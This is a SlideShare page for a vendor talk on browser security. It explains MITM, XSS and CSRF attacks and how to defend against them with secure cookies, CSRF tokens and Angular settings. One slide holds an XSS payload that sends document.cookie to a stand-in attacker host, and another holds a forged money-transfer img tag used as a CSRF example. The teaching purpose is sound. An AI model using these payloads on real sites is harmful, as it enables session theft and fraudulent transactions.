SlideShare a Scribd company logo
Browser Security 101
Robert Damphousse
Lead Front-End Developer, Stormpath
@robertjd_
Welcome!
• Agenda
• Stormpath 101 (5 mins)
• Browser Security 101 (40 mins)
• Q&A (15 mins)
• Robert Damphousse
• Lead JS Engineer @ Stormpath
• Full-stack for 10+ years
• JS Full-stack since 2011
Stormpath 101
Speed to Market & Cost Reduction
• Complete Identity solution out-of-the-box
• Security best practices and updates by default
• Clean & elegant API/SDKs
• Little to code, no maintenance
Stormpath User Management
User Data
User
Workflows Google ID
Your Applications
Application SDK
Application SDK
Application SDK
ID Integrations
Facebook
Active
Directory
SAML
Browser Security 101
Browser Security 101 - Agenda
• Security Concerns for Modern Web Apps
• XSS
• CSRF
• MITM
• Cookies, The Right Way
• Angular Examples
Structure of Modern Web Apps
• Back-end: a RESTful JSON API
• Client is an HTML5 Environment:
• Single Page Apps (“SPAs”), e.g. Angular, React
• WebKit instance (“desktop” apps)
• “Hybrid” Mobile apps (Phonegap, etc)
Security Concerns for Modern Web Apps
• Secure user credentials (passwords)
• Secure the user session
• Secure communication with the server
• Prevent malicious code from executing in the
browser (XSS)
• Prevent forged requests from un-trusted domains
(CSRF)
The Traditional Solution:
Session Identifiers
We accept username & password, then store a
Session ID in a cookie and associate that
session with the user.
Session ID Strategy
• This is OK if you secure the browser cookie
• You need a web framework like Apache Shiro
or Spring Security to assert security rules,
and tie the session to the user (and their
permissions)
Session ID Strategy
Session ID Problems
• They’re opaque and have no meaning
themselves (they’re just ‘pointers’)
• Session ID  User Permissions look-up
*every request*, state bottleneck.
• Cannot be used for inter-op with other services
• JWTs can help with this, but they need to be
stored securely in the browser.
Cookies,
The Right Way ®
Cookies, The Right Way ®
Cookies can be easily compromised
• Man-in-the-Middle (MITM)
• Cross-Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
Man In The Middle (MITM) Attack
Someone ‘listening on the wire’ between the
browser and server can see and copy the cookie.
Solutions
• Use HTTPS/TLS everywhere a cookie will be in
transit
• Set Secure flag on cookies
Cross-Site Scripting
(XSS)
XSS Attacks
This is a very REAL problem
Happens when someone else can execute
code inside your website
Can be used to steal your cookies!
https://www.owasp.org/index.php/XSS
XSS Attack Demo
https://www.google.com/about/appsecurity/
learning/xss/#StoredXSS
XSS Attack Demo
XSS Attack Demo
XSS Attack Demo
<img src=x
onerror="document.body.appendChild(function
(){var a = document.createElement('img');
a.src='https://hackmeplz.com/yourCookies.pn
g/?cookies=’
+document.cookie;return a}())"
So what if I put this in the chatbox..
XSS Attack Demo
GET
https://hackmeplz.com/yourCookies.png/?cook
ies=SessionID=123412341234
Your browser is going to make this
request:
Which means..
Browser Security 101
XSS Attack – What Can I Do?
Escape Content
• Server-side: Use well-known, trusted libraries to
ensure dynamic HTML does not contain
executable code. Do NOT roll your own.
• Client Side: Escape user input from forms (some
frameworks do this automatically, read docs!)
XSS Attack – What Can I Do?
Use HTTPS-Only cookies
Set the HttpOnly flag on your authentication
cookies.
HttpOnly cookies are NOT accessible by the
JavaScript environment
XSS Attack – What Can I Do?
Read this definitive guide:
https://www.owasp.org/index.php/XSS
Cross-Site Request
Forgery
(CSRF)
Cross-Site Request Forgery (CSRF)
Exploits the fact that HTML tags do NOT follow the
Same Origin Policy when making GET requests
https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)
https://developer.mozilla.org/en-
US/docs/Web/Security/Same-origin_policy
Cross-Site Request Forgery (CSRF)
Example: Attacker puts malicious image into a
web page that the user visits:
<img
src=“https://myapp.com/transferMone
y?to=BadGuy&amount=10000”/>
.. what happens?
Cross-Site Request Forgery (CSRF)
• The browser complies, “The request is going
to myapp.com, so I’ll happily send along your
cookies for myapp.com!”
• Your server trusts the cookies AND the user it
identifies, and transfers the money!
Cross-Site Request Forgery (CSRF)
Solutions:
• Synchronizer Token (for form-based apps)
• Double-Submit Cookie (for modern apps)
• Origin header check (for extra measure)
Double Submit Cookie
• Give client two cookies: (1) Session ID and
(2) a strong random value
• Client sends back the random value in a
custom HTTP header, triggering the Same-
Origin-Policy
http://myapp.com/login
Login
Username
Password
yo@foo.com
•••••••••••••••
Login
WWW
Server
(1) POST /login
(2) 200 OK
Set-Cookie: session=dh7jWkx8fj;
Set-Cookie: xsrf-token=xjk2kzjn4;
http://myapp.com/profile
Kitsch mustache seitan, meggings
Portland VHS ethical ugh. Messenger
bag pour-over deep v semiotics,
Portland before they sold out small
batch slow-carb PBR PBR&B chia
synth vegan bitters Brooklyn.
(3) GET /profile
(4) 200 OK
Cookie: session=dh7jWkx8fj;
xsrf-token=xjk2kzjn4
X-XSRF-Token: xjk2kzjn4;
Hello, Yo
Cookie
==
Header
?
WWW
Server
http://hackerzapp.com/
req.setHeader(‘X-XSRF-
Token’,’stolen token’)
BROWSER ERROR
No 'Access-Control-Allow-
XSRF-Token’ header is
present on the requested
resource.
GET http://myapp.com/profile
http://hackerzapp.com/
<img src=“https://
yoursite.com/
transferMoney?
to=BadGuy&amount=10000”/>
(1) GET /transferMoney?
(2) 400 Invalid Token
Server rejects forged requests, CSRF token header is missing
Browser rejects forged cross-domain AJAX attempts
Cookie: session=dh7jWkx8fj;
xsrf-token=xjk2kzjn4
Cookie
==
Header
?
CSRF: Referer Header Check
• Tells you the URL of the page the user is on,
when request is made.
• Can be blank on first request if page is visited
from a bookmark.
• Not reliable, use as a secondary check.
CSRF: Origin Header Check
• Tells your server which domain the request is coming
from.
• Cannot be modified by JavaScript
• Not implemented in legacy browsers
• Trust ONLY if connection is HTTPS (avoid malicious
proxies). Use as a secondary check.
CORS Warning!
BEWARE OF THIS ADVICE:
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers:*
DISABLES SAME-ORIGIN POLICY
Local Storage?
Local Storage vs. Cookies
• Local Storage is XSS vulnerable
• HttpOnly, Secure cookies are the only way to hide your
session information from XSS attacks
• Tradeoff: CSRF protection is essential!
• Cookies automatic supply session information.
• Local Storage requires custom HTTP Headers.
Angular Examples
Angular + XSS
• DOES sanitize input from DOM bindings (ngBind)
• Does NOT sanitize output through ngBindHtml
• DON’T parse user input with $scope.eval()
• Sever-side rendered templates MUST be
evaluated for XSS injection
Angular + CSRF
• Write your CSRF value to a cookie with the
name:
• Angular will automatically add this header to all
requests:
X-XSRF-Token: <value>
XSRF-Token
Recap
• Cookies need to be secured!
• XSS is real, and local storage is vulnerable.
• CSRF protection is essential
• HTTPS is required
Recap
Thanks!
Use Stormpath for API Authentication & Security
Our API and libraries give you a cloud-based user database
and web application security in no time!
Get started with your free Stormpath developer account:
https://api.stormpath.com/register
Questions?
support@stormpath.com

More Related Content

PPTX
PPT on Phishing
PPT
Browser Security
PPTX
Different Types of Phishing Attacks
PDF
Web Application Security and Awareness
PPTX
Phishing techniques
PDF
What is Social Engineering? An illustrated presentation.
PPT
Social Engineering | #ARMSec2015
PPT
Phishing attacks ppt
PPT on Phishing
Browser Security
Different Types of Phishing Attacks
Web Application Security and Awareness
Phishing techniques
What is Social Engineering? An illustrated presentation.
Social Engineering | #ARMSec2015
Phishing attacks ppt

What's hot (20)

PPTX
Social media privacy and safety
PPTX
Cybersecurity 2 cyber attacks
PPTX
Phishing ppt
PDF
Cross Origin Resource Sharing
PDF
Social engineering attacks
PPTX
Phishing Presentation
PPTX
Phishing attack
PPTX
Social Engineering
PDF
Introduction to HTML5
PDF
Client-Side Penetration Testing Presentation
PPTX
Man in-the-middle attack(http)
PDF
How to Spot and Combat a Phishing Attack - Cyber Security Webinar | ControlScan
PDF
CNIT 129S: Ch 3: Web Application Technologies
PPTX
cybersecurity.pptx
PPT
CYBER CRIME AND SECURITY
PDF
End-User Security Awareness
PPTX
cyber security presentation.pptx
PPTX
Phishing Awareness Training.pptx
PPTX
Anti phishing
PPTX
Cybercrime
Social media privacy and safety
Cybersecurity 2 cyber attacks
Phishing ppt
Cross Origin Resource Sharing
Social engineering attacks
Phishing Presentation
Phishing attack
Social Engineering
Introduction to HTML5
Client-Side Penetration Testing Presentation
Man in-the-middle attack(http)
How to Spot and Combat a Phishing Attack - Cyber Security Webinar | ControlScan
CNIT 129S: Ch 3: Web Application Technologies
cybersecurity.pptx
CYBER CRIME AND SECURITY
End-User Security Awareness
cyber security presentation.pptx
Phishing Awareness Training.pptx
Anti phishing
Cybercrime
Ad

Viewers also liked (20)

PDF
Browser security — ROOTS
PDF
Securing Web Applications with Token Authentication
PDF
Web Browser Security - 2016 Comparative Test Results
PDF
Building Beautiful REST APIs in ASP.NET Core
PPTX
Storing User Files with Express, Stormpath, and Amazon S3
PPTX
JWTs for CSRF and Microservices
PDF
Mobile Authentication for iOS Applications - Stormpath 101
PPTX
Token Authentication in ASP.NET Core
PPTX
Custom Data Search with Stormpath
PPTX
Spring Boot Authentication...and More!
PPTX
Stormpath 101: Spring Boot + Spring Security
PDF
JWTs in Java for CSRF and Microservices
PPTX
Instant Security & Scalable User Management with Spring Boot
PPTX
Multi-Tenancy with Spring Boot
PDF
The Ultimate Guide to Mobile API Security
PPTX
Beautiful REST+JSON APIs with Ion
PPTX
REST API Security: OAuth 2.0, JWTs, and More!
PPT
Web Security
PPT
Trusteer Rapport – Browser Security - How It Works
PPTX
Secure API Services in Node with Basic Auth and OAuth2
Browser security — ROOTS
Securing Web Applications with Token Authentication
Web Browser Security - 2016 Comparative Test Results
Building Beautiful REST APIs in ASP.NET Core
Storing User Files with Express, Stormpath, and Amazon S3
JWTs for CSRF and Microservices
Mobile Authentication for iOS Applications - Stormpath 101
Token Authentication in ASP.NET Core
Custom Data Search with Stormpath
Spring Boot Authentication...and More!
Stormpath 101: Spring Boot + Spring Security
JWTs in Java for CSRF and Microservices
Instant Security & Scalable User Management with Spring Boot
Multi-Tenancy with Spring Boot
The Ultimate Guide to Mobile API Security
Beautiful REST+JSON APIs with Ion
REST API Security: OAuth 2.0, JWTs, and More!
Web Security
Trusteer Rapport – Browser Security - How It Works
Secure API Services in Node with Basic Auth and OAuth2
Ad

Similar to Browser Security 101 (20)

PPTX
Building Secure User Interfaces With JWTs (JSON Web Tokens)
PPTX
JWT Authentication with AngularJS
PPTX
XSS (Cross Site Scripting)
PPT
Django (Web Applications that are Secure by Default)
PPTX
Building Secure User Interfaces With JWTs
PPTX
Html5 security
PPTX
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicy
PPTX
Open source security
PPTX
Devouring Security Insufficient data validation risks Cross Site Scripting
PDF
BsidesDelhi 2018: DomGoat - the DOM Security Playground
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
PPTX
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
PDF
AOEconf17: Application Security
PDF
AOEconf17: Application Security - Bastian Ike
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
PDF
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
PDF
Rich Web App Security - Keeping your application safe
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PPTX
Cross Site Scripting: Prevention and Detection(XSS)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
JWT Authentication with AngularJS
XSS (Cross Site Scripting)
Django (Web Applications that are Secure by Default)
Building Secure User Interfaces With JWTs
Html5 security
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicy
Open source security
Devouring Security Insufficient data validation risks Cross Site Scripting
BsidesDelhi 2018: DomGoat - the DOM Security Playground
Case Study of Django: Web Frameworks that are Secure by Default
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
AOEconf17: Application Security
AOEconf17: Application Security - Bastian Ike
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Rich Web App Security - Keeping your application safe
Website hacking and prevention (All Tools,Topics & Technique )
Cross Site Scripting: Prevention and Detection(XSS)

More from Stormpath (13)

PDF
Getting Started With Angular
PDF
Building Beautiful REST APIs with ASP.NET Core
PDF
Build a REST API for your Mobile Apps using Node.js
PPTX
Token Authentication for Java Applications
PPTX
How to Use Stormpath in angular js
PPTX
Rest API Security
PPTX
Elegant Rest Design Webinar
PPTX
Secure Your REST API (The Right Way)
PPTX
Build a Node.js Client for Your REST+JSON API
PPTX
Build A Killer Client For Your REST+JSON API
PPTX
So long scrum, hello kanban
PPTX
REST API Design for JAX-RS And Jersey
PPTX
Design Beautiful REST + JSON APIs
Getting Started With Angular
Building Beautiful REST APIs with ASP.NET Core
Build a REST API for your Mobile Apps using Node.js
Token Authentication for Java Applications
How to Use Stormpath in angular js
Rest API Security
Elegant Rest Design Webinar
Secure Your REST API (The Right Way)
Build a Node.js Client for Your REST+JSON API
Build A Killer Client For Your REST+JSON API
So long scrum, hello kanban
REST API Design for JAX-RS And Jersey
Design Beautiful REST + JSON APIs

Recently uploaded (20)

PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
Big Data Technologies - Introduction.pptx
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Empathic Computing: Creating Shared Understanding
PPTX
A Presentation on Artificial Intelligence
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PPTX
Cloud computing and distributed systems.
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
KodekX | Application Modernization Development
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
MYSQL Presentation for SQL database connectivity
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Reach Out and Touch Someone: Haptics and Empathic Computing
Mobile App Security Testing_ A Comprehensive Guide.pdf
Big Data Technologies - Introduction.pptx
Unlocking AI with Model Context Protocol (MCP)
Empathic Computing: Creating Shared Understanding
A Presentation on Artificial Intelligence
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
20250228 LYD VKU AI Blended-Learning.pptx
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Cloud computing and distributed systems.
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
KodekX | Application Modernization Development
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Understanding_Digital_Forensics_Presentation.pptx
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
CIFDAQ's Market Insight: SEC Turns Pro Crypto

Browser Security 101

  • 1. Browser Security 101 Robert Damphousse Lead Front-End Developer, Stormpath @robertjd_
  • 2. Welcome! • Agenda • Stormpath 101 (5 mins) • Browser Security 101 (40 mins) • Q&A (15 mins) • Robert Damphousse • Lead JS Engineer @ Stormpath • Full-stack for 10+ years • JS Full-stack since 2011
  • 4. Speed to Market & Cost Reduction • Complete Identity solution out-of-the-box • Security best practices and updates by default • Clean & elegant API/SDKs • Little to code, no maintenance
  • 5. Stormpath User Management User Data User Workflows Google ID Your Applications Application SDK Application SDK Application SDK ID Integrations Facebook Active Directory SAML
  • 7. Browser Security 101 - Agenda • Security Concerns for Modern Web Apps • XSS • CSRF • MITM • Cookies, The Right Way • Angular Examples
  • 8. Structure of Modern Web Apps • Back-end: a RESTful JSON API • Client is an HTML5 Environment: • Single Page Apps (“SPAs”), e.g. Angular, React • WebKit instance (“desktop” apps) • “Hybrid” Mobile apps (Phonegap, etc)
  • 9. Security Concerns for Modern Web Apps • Secure user credentials (passwords) • Secure the user session • Secure communication with the server • Prevent malicious code from executing in the browser (XSS) • Prevent forged requests from un-trusted domains (CSRF)
  • 11. We accept username & password, then store a Session ID in a cookie and associate that session with the user.
  • 13. • This is OK if you secure the browser cookie • You need a web framework like Apache Shiro or Spring Security to assert security rules, and tie the session to the user (and their permissions) Session ID Strategy
  • 14. Session ID Problems • They’re opaque and have no meaning themselves (they’re just ‘pointers’) • Session ID  User Permissions look-up *every request*, state bottleneck. • Cannot be used for inter-op with other services • JWTs can help with this, but they need to be stored securely in the browser.
  • 16. Cookies, The Right Way ® Cookies can be easily compromised • Man-in-the-Middle (MITM) • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF)
  • 17. Man In The Middle (MITM) Attack Someone ‘listening on the wire’ between the browser and server can see and copy the cookie. Solutions • Use HTTPS/TLS everywhere a cookie will be in transit • Set Secure flag on cookies
  • 19. XSS Attacks This is a very REAL problem Happens when someone else can execute code inside your website Can be used to steal your cookies! https://www.owasp.org/index.php/XSS
  • 23. XSS Attack Demo <img src=x onerror="document.body.appendChild(function (){var a = document.createElement('img'); a.src='https://hackmeplz.com/yourCookies.pn g/?cookies=’ +document.cookie;return a}())" So what if I put this in the chatbox..
  • 26. XSS Attack – What Can I Do? Escape Content • Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own. • Client Side: Escape user input from forms (some frameworks do this automatically, read docs!)
  • 27. XSS Attack – What Can I Do? Use HTTPS-Only cookies Set the HttpOnly flag on your authentication cookies. HttpOnly cookies are NOT accessible by the JavaScript environment
  • 28. XSS Attack – What Can I Do? Read this definitive guide: https://www.owasp.org/index.php/XSS
  • 30. Cross-Site Request Forgery (CSRF) Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) https://developer.mozilla.org/en- US/docs/Web/Security/Same-origin_policy
  • 31. Cross-Site Request Forgery (CSRF) Example: Attacker puts malicious image into a web page that the user visits: <img src=“https://myapp.com/transferMone y?to=BadGuy&amount=10000”/> .. what happens?
  • 32. Cross-Site Request Forgery (CSRF) • The browser complies, “The request is going to myapp.com, so I’ll happily send along your cookies for myapp.com!” • Your server trusts the cookies AND the user it identifies, and transfers the money!
  • 33. Cross-Site Request Forgery (CSRF) Solutions: • Synchronizer Token (for form-based apps) • Double-Submit Cookie (for modern apps) • Origin header check (for extra measure)
  • 34. Double Submit Cookie • Give client two cookies: (1) Session ID and (2) a strong random value • Client sends back the random value in a custom HTTP header, triggering the Same- Origin-Policy
  • 35. http://myapp.com/login Login Username Password yo@foo.com ••••••••••••••• Login WWW Server (1) POST /login (2) 200 OK Set-Cookie: session=dh7jWkx8fj; Set-Cookie: xsrf-token=xjk2kzjn4; http://myapp.com/profile Kitsch mustache seitan, meggings Portland VHS ethical ugh. Messenger bag pour-over deep v semiotics, Portland before they sold out small batch slow-carb PBR PBR&B chia synth vegan bitters Brooklyn. (3) GET /profile (4) 200 OK Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 X-XSRF-Token: xjk2kzjn4; Hello, Yo Cookie == Header ?
  • 36. WWW Server http://hackerzapp.com/ req.setHeader(‘X-XSRF- Token’,’stolen token’) BROWSER ERROR No 'Access-Control-Allow- XSRF-Token’ header is present on the requested resource. GET http://myapp.com/profile http://hackerzapp.com/ <img src=“https:// yoursite.com/ transferMoney? to=BadGuy&amount=10000”/> (1) GET /transferMoney? (2) 400 Invalid Token Server rejects forged requests, CSRF token header is missing Browser rejects forged cross-domain AJAX attempts Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 Cookie == Header ?
  • 37. CSRF: Referer Header Check • Tells you the URL of the page the user is on, when request is made. • Can be blank on first request if page is visited from a bookmark. • Not reliable, use as a secondary check.
  • 38. CSRF: Origin Header Check • Tells your server which domain the request is coming from. • Cannot be modified by JavaScript • Not implemented in legacy browsers • Trust ONLY if connection is HTTPS (avoid malicious proxies). Use as a secondary check.
  • 39. CORS Warning! BEWARE OF THIS ADVICE: Access-Control-Allow-Origin: * Access-Control-Allow-Headers:* DISABLES SAME-ORIGIN POLICY
  • 41. Local Storage vs. Cookies • Local Storage is XSS vulnerable • HttpOnly, Secure cookies are the only way to hide your session information from XSS attacks • Tradeoff: CSRF protection is essential! • Cookies automatic supply session information. • Local Storage requires custom HTTP Headers.
  • 43. Angular + XSS • DOES sanitize input from DOM bindings (ngBind) • Does NOT sanitize output through ngBindHtml • DON’T parse user input with $scope.eval() • Sever-side rendered templates MUST be evaluated for XSS injection
  • 44. Angular + CSRF • Write your CSRF value to a cookie with the name: • Angular will automatically add this header to all requests: X-XSRF-Token: <value> XSRF-Token
  • 45. Recap
  • 46. • Cookies need to be secured! • XSS is real, and local storage is vulnerable. • CSRF protection is essential • HTTPS is required Recap
  • 48. Use Stormpath for API Authentication & Security Our API and libraries give you a cloud-based user database and web application security in no time! Get started with your free Stormpath developer account: https://api.stormpath.com/register Questions? support@stormpath.com